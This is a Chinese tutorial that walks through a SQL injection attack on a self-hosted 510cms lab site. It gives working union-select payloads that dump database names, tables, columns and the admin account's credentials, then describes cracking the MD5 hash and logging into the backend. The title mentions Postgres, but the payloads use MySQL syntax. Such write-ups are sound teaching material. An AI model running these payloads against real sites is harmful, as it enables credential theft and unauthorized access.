以一个SQL实例来进行SQL注入的练习,体验一下SQL注入。

postgres sql注入 sql注入实战_postgres sql注入

首先,我们拿到这样一个SQL注入的题之后,第一步需要寻找SQL注入点,找到注入点之后才能进行下一步操作。我们来随便点一个页面,就以 “新闻中心 -> 测试一下第一分类 -> 测试一下,我的新增新闻看一下可不可以”为例,注意观察网页链接。

postgres sql注入 sql注入实战_数据库_02

接下来,我们判断一下这个网站是否存在SQL注入漏洞,验证一下。怎么验证呢?直接在链接的最后加一个“ ' ”英文的单引号,回车执行,看一下页面是否有变化,或者观察页面是否报错,如果页面报错或者信息不能正常显示,那么就说明该网站存在SQL注入漏洞。

我们可以看到,在我们添加单引号字符之后,页面出现了报错,说明该网站存在SQL注入漏洞,这样的话,下一步我们需要进行判断SQL注入的类型。

postgres sql注入 sql注入实战_数据库_03

 

 判断SQL注入类型,首先我们在链接之后添加“ and 1=1”执行,执行后我们发现,页面没有任何变化,继续进行测试,输入“ and 1=2”执行,哎~这个时候我们可以发现,页面报错了,这说明该SQL注入漏洞属于整型注入。

postgres sql注入 sql注入实战_SQL注入_04

postgres sql注入 sql注入实战_字段_05

 知道了SQL注入的类型之后,我们接下来来就要进行判断数据库有几列,怎么判断?使用语句“ order by 数字”使用该方法进行测试,猜解,直至页面正常/异常信息,停止。这里,我们输入order by 4之后页面正常执行,当我们输入order by 5之后执行,却发现页面无法正常显示信息,这就说明该数据库有4列。

postgres sql注入 sql注入实战_SQL_06

postgres sql注入 sql注入实战_SQL_07

 知道了数据库一共有几列之后,我们还需要寻找核心的注入点。将链接中id的值改成-1,随后在后面添加union select 1,2,3,4回车执行,此时,网页爆出了一个数字3,也就是说,第三列是我们要爆破的核心信息。知道了这些之后,我们就可以进行爆库了。

postgres sql注入 sql注入实战_postgres sql注入_08

 爆库:and 1=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

postgres sql注入 sql注入实战_数据库_09

爆库成功之后,我们还需要查看一下我们当前库是什么:and 1=2 union select 1,2,group_concat(database()),4。查看之后,我们知道了我们当前是在510cms库下。

postgres sql注入 sql注入实战_SQL_10

 爆表:and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema="510cms"

postgres sql注入 sql注入实战_SQL_11

爆表之后,我们通过观察筛选一下,大体我们可以看出来,第一个表“510_admin”是存放用户信息的表,接下来我们就要查看表里面字段的信息。

爆字段:and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema="510cms" and table_name="510_admin"

postgres sql注入 sql注入实战_SQL注入_12

 根据字段爆数据库信息:and 1=2 union select 1,2,group_concat(id,0x23,mid,0x23,name,0x23,passwd,0x23,remark) from 510cms.510_admin

postgres sql注入 sql注入实战_postgres sql注入_13

现在有两个问题,第一个,我们需要找到网站后台,使用拿到的账户进行登录,第二,数据库里超级管理员用户信息的密码是经过加密过的,需要进行密码的解码。

第一,如何寻找网站后台,这个话不多少,御剑后台扫描,扫一下。

postgres sql注入 sql注入实战_字段_14

扫描发现了一个可疑页面,我们现在进行打开,看一下,后台管理页面到底是不是这个。

postgres sql注入 sql注入实战_字段_15

postgres sql注入 sql注入实战_字段_16

 确实是扫描出来的链接,但是,需要二次跳转,观察一下二次跳转之后的链接,这就进入到该网站的后台登录页面了。

接下来进行密码破解,我们观察一下,爆出来的密码其实是一个经过md5加密之后的密码,现在我们进行md5解密:

postgres sql注入 sql注入实战_SQL_17

解密成功,接下来我们就要尝试登陆一下后台:

postgres sql注入 sql注入实战_SQL_18

登录成功!现在我们可以看到一些网站服务的相关信息,如果这些信息真正的泄漏,后果是不堪设想的。

声明:本实验是自己使用服务器搭建实验环境,实验过程仅供参考,不支持使用该平台操作,请见谅!